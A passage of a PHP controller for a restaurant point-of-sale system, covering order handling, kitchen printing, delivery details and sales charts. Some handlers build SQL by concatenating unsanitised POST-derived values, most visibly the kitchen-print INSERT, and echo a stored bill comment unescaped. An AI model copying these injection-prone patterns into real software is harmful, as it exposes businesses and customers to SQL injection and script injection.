                    $restaurantOrder->sysdate = date('Y-m-d H:i:s');
                    $restaurantOrder->del = 0;
                    $restaurantOrder->billComment = '';
                    $orderId = $newOrderId = $restaurantOrderDAO->insert($restaurantOrder);
                    //add product to order
                    $restaurantOrderDetails->orderId = $orderId;
                    $restaurantOrderDetails->productId = $productId;
                    $restaurantOrderDetails->quantity = $quantity;
                    switch ($hallData->hallPrice) {
                        case 0:
                            $restaurantOrderDetails->price = $productData->productSellAllPrice;
                            break;
                        case 1:
                            $restaurantOrderDetails->price = $productData->productSellUnitPrice;
                            break;
                        case 2:
                            $restaurantOrderDetails->price = $productData->productSellHalfPrice;
                            break;
                    }

                    $restaurantOrderDetails->total = $restaurantOrderDetails->price * $restaurantOrderDetails->quantity;
                    $restaurantOrderDetails->notes = getNotesSum($restaurantOrderDetails->notes, $value->notes);
                    $restaurantOrderDetails->notesPrinted = getNotesSum($restaurantOrderDetails->notesPrinted, $value->notesPrinted);
                    $restaurantOrderDetails->isPrinted = $value->isPrinted;
                    $restaurantOrderDetails->printedQuantity = $value->printedQuantity;
                    $restaurantOrderDetailsDAO->insert($restaurantOrderDetails);
                }
            }
        }
        $restaurantTableEX->updateBeingUsed(1, $tableId);
        ########################################
        $oldTable = (int) $_POST["oldTable"]; //table to close
        //2- remove order and close table
        $restaurantTableEX->updateBeingUsed(0, $oldTable);
        //if there is order del it
        $restaurantOrderDAO->delete($oldOrderId);
        //delete order details
        $restaurantOrderDetailsDAO->deleteByOrderId($oldOrderId);
        //if it was delivery del delivery details
        $restaurantOrderDeliveryDetailDAO->deleteByOrderId($oldOrderId);
        //update order id to new order id in print kitchen table
        $restaurantkitchenprintEX->updateOrderIdEX($oldOrderId, $newOrderId);
        //3- get tables with new conditions
        //conditions are in html
        //show tables that not del and (user is allowed to see table   or   usergroup can see all tables )
        $Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
        $smarty->assign("Usergroupdata", $Usergroupdata);
        if ($Usergroupdata->takeAway == 1 && $Usergroupdata->delivery == 1 && $Usergroupdata->hall == 1) {
            $queryString = '';
        } else if ($Usergroupdata->takeAway == 0 && $Usergroupdata->delivery == 0 && $Usergroupdata->hall == 0) {
            $queryString = ' and restauranttable.id = -1000 ';
        } else {
            $queryString = ' and ( ';
            if ($Usergroupdata->hall == 1) {
                $queryString .= ' restauranttable.id > 0 ';
            }
            if ($Usergroupdata->takeAway == 1) {
                if ($Usergroupdata->hall == 1) {
                    $queryString .= ' or ';
                }
                $queryString .= ' restauranttable.id = -1  ';
            }
            if ($Usergroupdata->delivery == 1) {
                if ($Usergroupdata->hall == 1 || $Usergroupdata->takeAway == 1) {
                    $queryString .= ' or ';
                }
                $queryString .= ' restauranttable.id = -2 ';
            }
            $queryString .= ' ) ';
        }

        $restaurantTables = $restaurantTableEX->queryAllEX($queryString);
        foreach ($restaurantTables as $value) {
            $value->hallUsers = explode(',', $value->hallUsers);
        }
        $Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
        $data = array($restaurantTables, $Usergroupdata, $tableData->name);
        echo json_encode($data);

        $mytransactions->commit();
    } catch (Exception $ex) {
        $mytransactions->rollback();
    }
} elseif ($do == "getFoodMenu") {
    $tableId = (int) $_POST["tableId"];
    $resTable = $restaurantTableDAO->load($tableId);
    $hallData = $restaurantHallDAO->load($resTable->hallid);

    $lastLevelCatIDS = array();
    //array_push($lastLevelCatIDS, $productCatId);
    getAllSubCatInMenu(0, 2); //mode = 2 get last level cats

    $productsArr = array();
    foreach ($lastLevelCats as $cat) {
        $products = $productExt->queryByCatInMenuEX($cat->productCatId);
        foreach ($products as $value) {
            array_push($productsArr, $value);
        }
    }
    $data = array($lastLevelCats, $productsArr, $hallData);
    echo json_encode($data);
} elseif ($do == "addtaxes") {
    $itr = (int) $_POST["itr"];
    $itr2 = (int) $_POST["itr2"];
    $smarty->assign("itr", $itr);
    $smarty->assign("itr2", $itr2);
    $smarty->display("sellbillview/taxes.html");
} elseif ($do == "removetaxes") {
    $itr = (int) $_POST["id"];
    $ordertype = (int) $_POST["ordertype"];
    if ($ordertype == 0) { //bill
        R::exec("UPDATE `sellbilldetailtax` SET `conditions`= 1 WHERE sellbilldetailid = $itr and (is_offer is null or is_offer !=1)");
    } elseif ($ordertype == 1) { //offer
        R::exec("UPDATE `sellbilldetailtax` SET `conditions`= 1 WHERE sellbilldetailid = $itr and is_offer =1");
    }
} elseif ($do == "removeellbilldetailtax") {
    $itr = (int) $_POST["id"];
    R::exec("UPDATE `sellbilldetailtax` SET `conditions`= 1 WHERE id = $itr");
} elseif ($do == "addProductToOrder") {
    $productId = (int) $_POST["productId"];
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    //
    $productData = $productDAO->load($productId);
    $resTable = $restaurantTableDAO->load($tableId);
    $hallData = $restaurantHallDAO->load($resTable->hallid);
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $orderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProduct($order->id, $productId);
        if (count($orderDetails) > 0) {
            //product already exist increase quantity
            $orderDetails = $orderDetails[0];
            $orderDetails->quantity++;
            switch ($hallData->hallPrice) {
                case 0:
                    $orderDetails->price = $productData->productSellAllPrice;
                    break;
                case 1:
                    $orderDetails->price = $productData->productSellUnitPrice;
                    break;
                case 2:
                    $orderDetails->price = $productData->productSellHalfPrice;
                    break;
            }

            $orderDetails->total = $orderDetails->price * $orderDetails->quantity;
            $restaurantOrderDetailsDAO->update($orderDetails);
        } else {
            //add product to order
            $restaurantOrderDetails->orderId = $order->id;
            $restaurantOrderDetails->productId = $productId;
            $restaurantOrderDetails->quantity = 1;
            switch ($hallData->hallPrice) {
                case 0:
                    $restaurantOrderDetails->price = $productData->productSellAllPrice;
                    break;
                case 1:
                    $restaurantOrderDetails->price = $productData->productSellUnitPrice;
                    break;
                case 2:
                    $restaurantOrderDetails->price = $productData->productSellHalfPrice;
                    break;
            }

            $restaurantOrderDetails->total = $restaurantOrderDetails->price * $restaurantOrderDetails->quantity;
            $restaurantOrderDetails->isPrinted = 0;
            $restaurantOrderDetails->printedQuantity = 0;
            $restaurantOrderDetailsDAO->insert($restaurantOrderDetails);
        }
    } else {
        $datephp = date('Y-m-d');
        // $startdate = date('Y-m-d', strtotime("-1 days"));
        /* -- get next order number of the day ------------------------------ */
        $today = date('Y-m-d');
        $yesterday = date("Y-m-d", strtotime('-1 days'));
        if (isset($Programsettingdata->reportsPlusHours) && !empty($Programsettingdata->reportsPlusHours)) {
            $reportsPlusHours = $Programsettingdata->reportsPlusHours + 24; //24 to get the end of the day and add search hours to it
            $endToday = date('Y-m-d H:i:s', strtotime('+' . $reportsPlusHours . ' hour +0 minutes', strtotime($today)));
            $startToday = date('Y-m-d H:i:s', strtotime('+' . $Programsettingdata->reportsPlusHours . ' hour +0 minutes', strtotime($today)));
            //
            $endYesterday = date('Y-m-d H:i:s', strtotime('+' . $reportsPlusHours . ' hour +0 minutes', strtotime($yesterday)));
            $startYesterday = date('Y-m-d H:i:s', strtotime('+' . $Programsettingdata->reportsPlusHours . ' hour +0 minutes', strtotime($yesterday)));
        } else {
            $endToday = $today . ' 23:59:59';
            $startToday = $today . " 00:00:00";
            //
            $endYesterday = $today . ' 23:59:59';
            $startYesterday = $today . " 00:00:00";
        }
        if (date('H') < $Programsettingdata->reportsPlusHours) {
            $sql = "and sysdate >= '" . $startYesterday . "' and sysdate <= '" . $endYesterday . "'";
        } else {
            $sql = "and sysdate >= '" . $startToday . "' and sysdate <= '" . $endToday . "'";
        }
        $maxDay = $restaurantOrderEX->getMaxDaySreial($sql);
        if (!isset($maxDay) || empty($maxDay)) {
            $maxDay = 0;
        }
        /* ------------------------------------------------------------------ */

        $restaurantTableEX->updateBeingUsed(1, $tableId); //make sure it is open
        //make new order
        $restaurantOrder->hallUserId = $_SESSION['userid'];
        $restaurantOrder->tableId = $tableId;
        $restaurantOrder->totalBill = 0;
        $restaurantOrder->discount = 0;
        $restaurantOrder->tax = 0;
        $restaurantOrder->netBill = 0;
        $restaurantOrder->finished = 0;
        $restaurantOrder->sellBillId = 0;
        $restaurantOrder->daySreial = $maxDay + 1;
        $restaurantOrder->userId = $_SESSION['userid'];
        $restaurantOrder->sysdate = date('Y-m-d H:i:s');
        $restaurantOrder->del = 0;
        $restaurantOrder->billComment = '';
        $orderId = $restaurantOrderDAO->insert($restaurantOrder);
        //add product to order
        $restaurantOrderDetails->orderId = $orderId;
        $restaurantOrderDetails->productId = $productId;
        $restaurantOrderDetails->quantity = 1;
        switch ($hallData->hallPrice) {
            case 0:
                $restaurantOrderDetails->price = $productData->productSellAllPrice;
                break;
            case 1:
                $restaurantOrderDetails->price = $productData->productSellUnitPrice;
                break;
            case 2:
                $restaurantOrderDetails->price = $productData->productSellHalfPrice;
                break;
        }

        $restaurantOrderDetails->total = $restaurantOrderDetails->price * $restaurantOrderDetails->quantity;
        $restaurantOrderDetails->isPrinted = 0;
        $restaurantOrderDetails->printedQuantity = 0;
        $restaurantOrderDetailsDAO->insert($restaurantOrderDetails);
    }

    //get order details
    $restaurantOrderDetails = getRestaurantOrderDetails($orderId);
    $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
    //getplaystationpaly data
    $playstation = $restaurantPlaystationPlayDAO->load($order->restaurantplaystationplayid);
    $smarty->assign("playstation", json_encode($playstation));

    $smarty->display("resturant/orderDetails.html");
} elseif ($do == "updatepriceAndTotalOrder") {
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);

    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);

    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $orderDetails = $restaurantOrderDetailsEX->queryByOrderId($order->id);
        if (count($orderDetails) > 0) {

            foreach ($orderDetails as $item) {
                $item->price = 0;
                $item->total = 0;
                $restaurantOrderDetailsDAO->update($item);
            }
        }
    }
} elseif ($do == "decreaseProductInOrder") {
    $productId = (int) $_POST["productId"];
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    //
    $productData = $productDAO->load($productId);
    $resTable = $restaurantTableDAO->load($tableId);
    $hallData = $restaurantHallDAO->load($resTable->hallid);
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $orderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProduct($order->id, $productId);
        if (count($orderDetails) > 0) {
            //product already exist decrease quantity
            $orderDetails = $orderDetails[0];
            $orderDetails->quantity--;
            if ($orderDetails->quantity < $orderDetails->printedQuantity && $_SESSION['usergroupid'] > 1) {
                $orderDetails->quantity = $orderDetails->printedQuantity;
            }
            switch ($hallData->hallPrice) {
                case 0:
                    $orderDetails->price = $productData->productSellAllPrice;
                    break;
                case 1:
                    $orderDetails->price = $productData->productSellUnitPrice;
                    break;
                case 2:
                    $orderDetails->price = $productData->productSellHalfPrice;
                    break;
            }

            $orderDetails->total = $orderDetails->price * $orderDetails->quantity;
            $restaurantOrderDetailsDAO->update($orderDetails);

            if ($orderDetails->quantity < 1) {
                $orderDetailsdelete = $restaurantOrderDetailsEX->deleteByOrderIdAndProduct($order->id, $productId);
            }
        }
    }

    //get order details
    $restaurantOrderDetails = getRestaurantOrderDetails($orderId);
    $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
    //getplaystationpaly data
    $playstation = $restaurantPlaystationPlayDAO->load($order->restaurantplaystationplayid);
    $smarty->assign("playstation", json_encode($playstation));

    $smarty->display("resturant/orderDetails.html");
} elseif ($do == "increaseProductInOrder") {
    $productId = (int) $_POST["productId"];
    $quantitynew = (float) $_POST["quantitynew"];
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    //
    $productData = $productDAO->load($productId);
    $resTable = $restaurantTableDAO->load($tableId);
    $hallData = $restaurantHallDAO->load($resTable->hallid);
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $orderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProduct($order->id, $productId);
        if (count($orderDetails) > 0) {
            //product already exist decrease quantity
            $orderDetails = $orderDetails[0];
            if ($Programsettingdata->quantitynew == 0) {
                $orderDetails->quantity++;
            } else {
                $orderDetails->quantity = $quantitynew;
            }

            switch ($hallData->hallPrice) {
                case 0:
                    $orderDetails->price = $productData->productSellAllPrice;
                    break;
                case 1:
                    $orderDetails->price = $productData->productSellUnitPrice;
                    break;
                case 2:
                    $orderDetails->price = $productData->productSellHalfPrice;
                    break;
            }

            $orderDetails->total = $orderDetails->price * $orderDetails->quantity;
            $restaurantOrderDetailsDAO->update($orderDetails);
        }
    }

    //get order details
    $restaurantOrderDetails = getRestaurantOrderDetails($orderId);
    $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
    //getplaystationpaly data
    $playstation = $restaurantPlaystationPlayDAO->load($order->restaurantplaystationplayid);
    $smarty->assign("playstation", json_encode($playstation));

    $smarty->display("resturant/orderDetails.html");
} elseif ($do == "checkremovepasswored") {
    $password = $_POST["password"];
    if ($password == $_SESSION['passworduse']) {
        echo 1;
    } else {
        echo 0;
    }
} elseif ($do == "removeProductFromOrder") {
    $productId = (int) $_POST["productId"];
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    //
    $productData = $productDAO->load($productId);
    $resTable = $restaurantTableDAO->load($tableId);
    $hallData = $restaurantHallDAO->load($resTable->hallid);
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $orderDetails = $restaurantOrderDetailsEX->deleteByOrderIdAndProduct($orderId, $productId);
    }

    //get order details
    $restaurantOrderDetails = getRestaurantOrderDetails($orderId);
    $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
    //getplaystationpaly data
    $playstation = $restaurantPlaystationPlayDAO->load($order->restaurantplaystationplayid);
    $smarty->assign("playstation", json_encode($playstation));

    $smarty->display("resturant/orderDetails.html");
} elseif ($do == "getOrderDetails") {
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //get order details
        $restaurantOrderDetails = getRestaurantOrderDetails($orderId);
        $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
    }
    //getplaystationpaly data
    $playstation = $restaurantPlaystationPlayDAO->load($order->restaurantplaystationplayid);
    $smarty->assign("playstation", json_encode($playstation));
    $smarty->display("resturant/orderDetails.html");
} elseif ($do == "printKitchen") {
    $tableId = (int) $_POST["tableId"];
    //
    $printForKitchenArr = array();
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $userData = $userDAO->load($order->userId);

    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        $userData = $userDAO->load($order->userId);
        //get order details that not printed for kitchen
        $restaurantOrderDetails = $restaurantOrderDetailsEX->queryByOrderIdEX($orderId);
        if (count($restaurantOrderDetails) > 0) {
            $i = 1;
            $togetherNo = 1;
            $insert_sql = "INSERT INTO restaurantkitchenprint (`id`, `orderId`, `productId`, `quantity`, `notesPrinted`, `togetherNo`, `isPrinted`, `sysDateTime`) VALUES";
            foreach ($restaurantOrderDetails as $detail) {
                $detail->kitchenQuantity = $detail->quantity - $detail->printedQuantity;
                if ($detail->kitchenQuantity > 0) {
                    $notesDiff = getNotesDiff($detail->notes, $detail->notesPrinted);
                    $detail->notesPrinted = $notesDiff;
                    $notesStr = '';
                    if ($detail->notesPrinted != "") {
                        $notesArr = explode(',', $detail->notesPrinted);
                        if (!empty($notesArr[0])) {
                            $notesStr .= $notesArr[0] . ' زيادة عالى ';
                        }
                        if (!empty($notesArr[1])) {
                            $notesStr .= $notesArr[1] . ' زيادة ';
                        }
                        if (!empty($notesArr[2])) {
                            $notesStr .= $notesArr[2] . ' مانو ';
                        }
                        if (!empty($notesArr[3])) {
                            $notesStr .= $notesArr[3] . ' مظبوط ';
                        }
                        if (!empty($notesArr[4])) {
                            $notesStr .= $notesArr[4] . ' عالريحه ';
                        }
                        if (!empty($notesArr[5])) {
                            $notesStr .= $notesArr[5] . ' ساده ';
                        }
                    }
                    $detail->notesStr = $notesStr;
                    array_push($printForKitchenArr, $detail);
                    $restaurantkitchenprint->orderId = $detail->orderId;
                    $restaurantkitchenprint->productId = $detail->productId;
                    $restaurantkitchenprint->quantity = $detail->kitchenQuantity;
                    $restaurantkitchenprint->notesPrinted = $detail->notesPrinted;
                    if ($i == 1) {
                        $lastTogetherNo = $restaurantkitchenprintEX->getLastTogetherNo();
                        if (isset($lastTogetherNo) && !empty($lastTogetherNo)) {
                            $togetherNo = $lastTogetherNo + 1;
                        }
                    }
                    $restaurantkitchenprint->togetherNo = $togetherNo;
                    $restaurantkitchenprint->isPrinted = 0;
                    $restaurantkitchenprint->sysDateTime = date('Y-m-d H:i:s');
                    //$restaurantkitchenprintId = $restaurantkitchenprintDAO->insert($restaurantkitchenprint);
                    $insert_sql .= "(NULL,$restaurantkitchenprint->orderId,$restaurantkitchenprint->productId,$restaurantkitchenprint->quantity,'" . $restaurantkitchenprint->notesPrinted . "',$restaurantkitchenprint->togetherNo,$restaurantkitchenprint->isPrinted,'" . $restaurantkitchenprint->sysDateTime . "'),";
                    $i++;
                }

                $detail->printedQuantity = $detail->quantity;
                $detail->notesPrinted = $detail->notes;
                //markNotPrintedOrderDetailsAsPrinted
                $detail->isPrinted = 1;
                $restaurantOrderDetailsDAO->update($detail);
            }
            $insert_sql = trim($insert_sql, ',');
            $split = explode(" ", $insert_sql);
            if ($split[count($split) - 1] != "VALUES") {
                $affected_rows = $myRelusergrouppropertieExt->insertBulk($insert_sql);
            }
        }
    }
    if (count($printForKitchenArr) > 0) {
        $smarty->assign("tableId", $tableId);
        $smarty->assign("printForKitchenArr", $printForKitchenArr);
        //
        $tableData = $restaurantTableEX->load($tableId);
        $restaurantHall = $restaurantHallDAO->load($tableData->hallid);
        $smarty->assign("restaurantHall", $restaurantHall);
        $smarty->assign("order", $order);
        $smarty->assign("userData", $userData);

        $smarty->display("resturant/printKitchen.html");
    } else {
        echo -1;
    }
} elseif ($do == "saveDrinkDetails") {
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    $productId = (int) $_POST["productId"];
    $itr = (int) $_POST["itr"];
    //
    if ($tableId == "bill") {
        $quantity = (int) $_POST["quantity"];
        $restaurantOrderDetails = new stdClass();
        $restaurantOrderDetails->productId = $productId;
        $restaurantOrderDetails->quantity = $quantity;
        $restaurantOrderDetails->printedQuantity = 0;
        $restaurantOrderDetails->notesPrinted = explode(',', '0,0,0,0,0,0');
        $restaurantOrderDetails->notes = explode(',', '0,0,0,0,0,0');
        $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
        $smarty->assign("itr", $itr);
        $smarty->display("resturant/drinkDetails.html");
    } else {
        $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
        $orderId = 0;
        if (count($order) > 0) {
            $order = $order[0];
            $orderId = $order->id;
            //get order details that not printed for kitchen
            $restaurantOrderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProductEX($orderId, $productId);
            if (empty($restaurantOrderDetails->notesPrinted)) {
                $restaurantOrderDetails->notesPrinted = '0,0,0,0,0,0';
            }
            if (empty($restaurantOrderDetails->notes)) {
                $restaurantOrderDetails->notes = '0,0,0,0,0,0';
            }
            $restaurantOrderDetails->notesPrinted = explode(',', $restaurantOrderDetails->notesPrinted);
            $restaurantOrderDetails->notes = explode(',', $restaurantOrderDetails->notes);
            $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
            $smarty->assign("itr", $itr);
            $smarty->display("resturant/drinkDetails.html");
        }
    }
} elseif ($do == "saveDrinkDetailsInDB") {
    $tableId = (int) $_POST["tableId"];
    $productId = (int) $_POST["productId"];
    $totalAsNote = $_POST["totalAsNote"];
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //get order details that not printed for kitchen
        $restaurantOrderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProductEX($orderId, $productId);
        $restaurantOrderDetails->notes = $totalAsNote;
        $restaurantOrderDetailsDAO->update($restaurantOrderDetails);
        echo 1;
    }
} elseif ($do == "getBillComment") {

    $tableId = (int) $_POST["tableId"];
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    $comment = "";
    if (count($order) > 0) {
        $order = $order[0];
        $comment = $order->billComment;
    }
    echo $comment;
} elseif ($do == "billComment") {

    $tableId = (int) $_POST["tableId"];
    $billComment = $_POST["billComment"];
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        $restaurantOrderEX->updateBillComment($orderId, $billComment);
    } else {
        //make new order
        $restaurantOrder->hallUserId = $_SESSION['userid'];
        $restaurantOrder->tableId = $tableId;
        $restaurantOrder->totalBill = 0;
        $restaurantOrder->discount = 0;
        $restaurantOrder->tax = 0;
        $restaurantOrder->netBill = 0;
        $restaurantOrder->finished = 0;
        $restaurantOrder->sellBillId = 0;
        $restaurantOrder->daySreial = 0;
        $restaurantOrder->userId = $_SESSION['userid'];
        $restaurantOrder->sysdate = date('Y-m-d H:i:s');
        $restaurantOrder->del = 0;
        $restaurantOrder->billComment = $billComment;
        $orderId = $restaurantOrderDAO->insert($restaurantOrder);
    }
    echo 1;
} elseif ($do == "saveDeliveryData") {
    $tableId = (int) $_POST["tableId"];
    $clientId = (int) $_POST["clientId"];
    $clientmobile = (int) $_POST["clientmobileCheckBox"];
    $clientphone = (int) $_POST["clientphoneCheckBox"];
    $clientaddress = (int) $_POST["clientaddressCheckBox"];
    $clientdetails = (int) $_POST["clientdetailsCheckBox"];

    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) == 0) {
        $datephp = date('Y-m-d');
        // $startdate = date('Y-m-d', strtotime("-1 days"));
        /* -- get next order number of the day ------------------------------ */
        $today = date('Y-m-d');
        $yesterday = date("Y-m-d", strtotime('-1 days'));
        if (isset($Programsettingdata->reportsPlusHours) && !empty($Programsettingdata->reportsPlusHours)) {
            $reportsPlusHours = $Programsettingdata->reportsPlusHours + 24; //24 to get the end of the day and add search hours to it
            $endToday = date('Y-m-d H:i:s', strtotime('+' . $reportsPlusHours . ' hour +0 minutes', strtotime($today)));
            $startToday = date('Y-m-d H:i:s', strtotime('+' . $Programsettingdata->reportsPlusHours . ' hour +0 minutes', strtotime($today)));
            //
            $endYesterday = date('Y-m-d H:i:s', strtotime('+' . $reportsPlusHours . ' hour +0 minutes', strtotime($yesterday)));
            $startYesterday = date('Y-m-d H:i:s', strtotime('+' . $Programsettingdata->reportsPlusHours . ' hour +0 minutes', strtotime($yesterday)));
        } else {
            $endToday = $today . ' 23:59:59';
            $startToday = $today . " 00:00:00";
            //
            $endYesterday = $today . ' 23:59:59';
            $startYesterday = $today . " 00:00:00";
        }
        if (date('H') < $Programsettingdata->reportsPlusHours) {
            $sql = "and sysdate >= '" . $startYesterday . "' and sysdate <= '" . $endYesterday . "'";
        } else {
            $sql = "and sysdate >= '" . $startToday . "' and sysdate <= '" . $endToday . "'";
        }
        $maxDay = $restaurantOrderEX->getMaxDaySreial($sql);
        if (!isset($maxDay) || empty($maxDay)) {
            $maxDay = 0;
        }
        /* ------------------------------------------------------------------ */
        //make new order
        $restaurantOrder->hallUserId = $_SESSION['userid'];
        $restaurantOrder->tableId = $tableId;
        $restaurantOrder->totalBill = 0;
        $restaurantOrder->discount = 0;
        $restaurantOrder->tax = 0;
        $restaurantOrder->netBill = 0;
        $restaurantOrder->finished = 0;
        $restaurantOrder->sellBillId = 0;
        $restaurantOrder->daySreial = $maxDay + 1;
        $restaurantOrder->userId = $_SESSION['userid'];
        $restaurantOrder->sysdate = date('Y-m-d H:i:s');
        $restaurantOrder->del = 0;
        $restaurantOrder->billComment = '';
        $orderId = $restaurantOrderDAO->insert($restaurantOrder);
        $restaurantOrder->id = $orderId;
        $order[0] = $restaurantOrder;
    }
    if (count($order) > 0 && $clientId > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $deliveryDetails = $restaurantOrderDeliveryDetailDAO->queryByOrderId($orderId);
        if (count($deliveryDetails) == 0) {
            //insert
            $restaurantOrderDeliveryDetailObj->orderId = $orderId;
            $restaurantOrderDeliveryDetailObj->clientId = $clientId;
            $restaurantOrderDeliveryDetailObj->clientmobile = $clientmobile;
            $restaurantOrderDeliveryDetailObj->clientphone = $clientphone;
            $restaurantOrderDeliveryDetailObj->clientaddress = $clientaddress;
            $restaurantOrderDeliveryDetailObj->clientdetails = $clientdetails;
            $restaurantOrderDeliveryDetailObj->driverId = 0;
            $restaurantOrderDeliveryDetailObj->driverReciveDate = NULL;
            $restaurantOrderDeliveryDetailObj->deliveryStatus = 0;
            $restaurantOrderDeliveryDetailDAO->insert($restaurantOrderDeliveryDetailObj);
        } else {
            //update
            $restaurantOrderDeliveryDetailObj = $deliveryDetails[0];
            $restaurantOrderDeliveryDetailObj->clientId = $clientId;
            $restaurantOrderDeliveryDetailObj->clientmobile = $clientmobile;
            $restaurantOrderDeliveryDetailObj->clientphone = $clientphone;
            $restaurantOrderDeliveryDetailObj->clientaddress = $clientaddress;
            $restaurantOrderDeliveryDetailObj->clientdetails = $clientdetails;
            $restaurantOrderDeliveryDetailDAO->update($restaurantOrderDeliveryDetailObj);
        }
    }
} elseif ($do == "getdeliveryClientData") {
    $tableId = (int) $_POST["tableId"];
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        $deliveryDetails = $restaurantOrderDeliveryDetailDAO->queryByOrderId($orderId);
        if (count($deliveryDetails) == 0) {
            if ($tableId == -1) {
                //if table is take away make clientid by def = 1
                $clientId = 1;
                //insert
                $restaurantOrderDeliveryDetailObj->orderId = $orderId;
                $restaurantOrderDeliveryDetailObj->clientId = $clientId;
                $restaurantOrderDeliveryDetailObj->clientmobile = 0;
                $restaurantOrderDeliveryDetailObj->clientphone = 0;
                $restaurantOrderDeliveryDetailObj->clientaddress = 0;
                $restaurantOrderDeliveryDetailObj->clientdetails = 0;
                $restaurantOrderDeliveryDetailObj->driverId = 0;
                $restaurantOrderDeliveryDetailObj->driverReciveDate = NULL;
                $restaurantOrderDeliveryDetailObj->deliveryStatus = 0;
                $restaurantOrderDeliveryDetailDAO->insert($restaurantOrderDeliveryDetailObj);
                //
                $clientData = $clientDAO->load($clientId);
                echo json_encode(array($deliveryDetails[0], $clientData));
            } else {
                echo -2;
            }
        } else {
            $clientId = $deliveryDetails[0]->clientId;
            $clientData = $clientDAO->load($clientId);
            echo json_encode(array($deliveryDetails[0], $clientData));
        }
    } else {
        echo -1;
    }
} elseif ($do == "getPricType") {

    $supplier_id = filter_input(INPUT_POST, 'supplier_id');

    $cli = $myClientRecord->load($supplier_id);

    $data = $cli->priceTypeId;

    echo $data;
}
##
elseif ($do == "ckpass") {
    $pass = filter_input(INPUT_POST, 'pass');
    $Usergroupdata = $UsergroupEX->queryByUsergroupBillDeletePassword($pass);

    if (count($Usergroupdata) == 0) {
        echo 0;
    } else {
        echo 1;
    }
} elseif ($do == "chartsProducts") {

    class productData
    {

        public $id;
        public $productName;
        public $soldNo = 0;
        public $soldVal = 0;
        public $returnNo = 0;
        public $returnVal = 0;
        public $netNo = 0;
        public $netVal = 0;
        public $realCost = 0;
        public $netProfit = 0;
        public $buyPrice = 0;
        public $currentQuantity = 0;
    }

    $existId = array();
    $allDataArr = array();
    $totalsObj = new productData();
    $resultsCount = 0;
    $flag = 0;

    $startdate = date('Y-m-d', strtotime("-7 days"));
    $enddate = date("Y-m-d");
    $sellbilldate .= ' and  sellbill.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbill.sellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellbillreturndate .= ' and  returnsellbill.returnsellbilldate  >= "' . $startdate . ' 00-00-00" and returnsellbill.returnsellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellandreturndate .= ' and  sellbillandrutern.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbillandrutern.sellbilldate <= "' . $enddate . ' 23-59-55" ';


    $sellBillData = $mySellbilldetailEx->sellbillDETAILS($sellbilldate);
    $sellBillDataReturn = $mySellbilldetailEx->sellbillReturnDETAILS($sellbillreturndate);
    $sellBillDataSellAndReturn = $mySellbilldetailEx->SellAndReturnDETAILS($sellandreturndate);
    ##فاتورة  المبيعات
    foreach ($sellBillData as $value) {
        //        var_dump($value);
        if (in_array($value->sellbilldetailproductid, $existId)) {
            $key = array_search($value->sellbilldetailproductid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new productData();
            $myproduct->id = $value->sellbilldetailproductid;
            array_push($existId, $value->sellbilldetailproductid);
        }

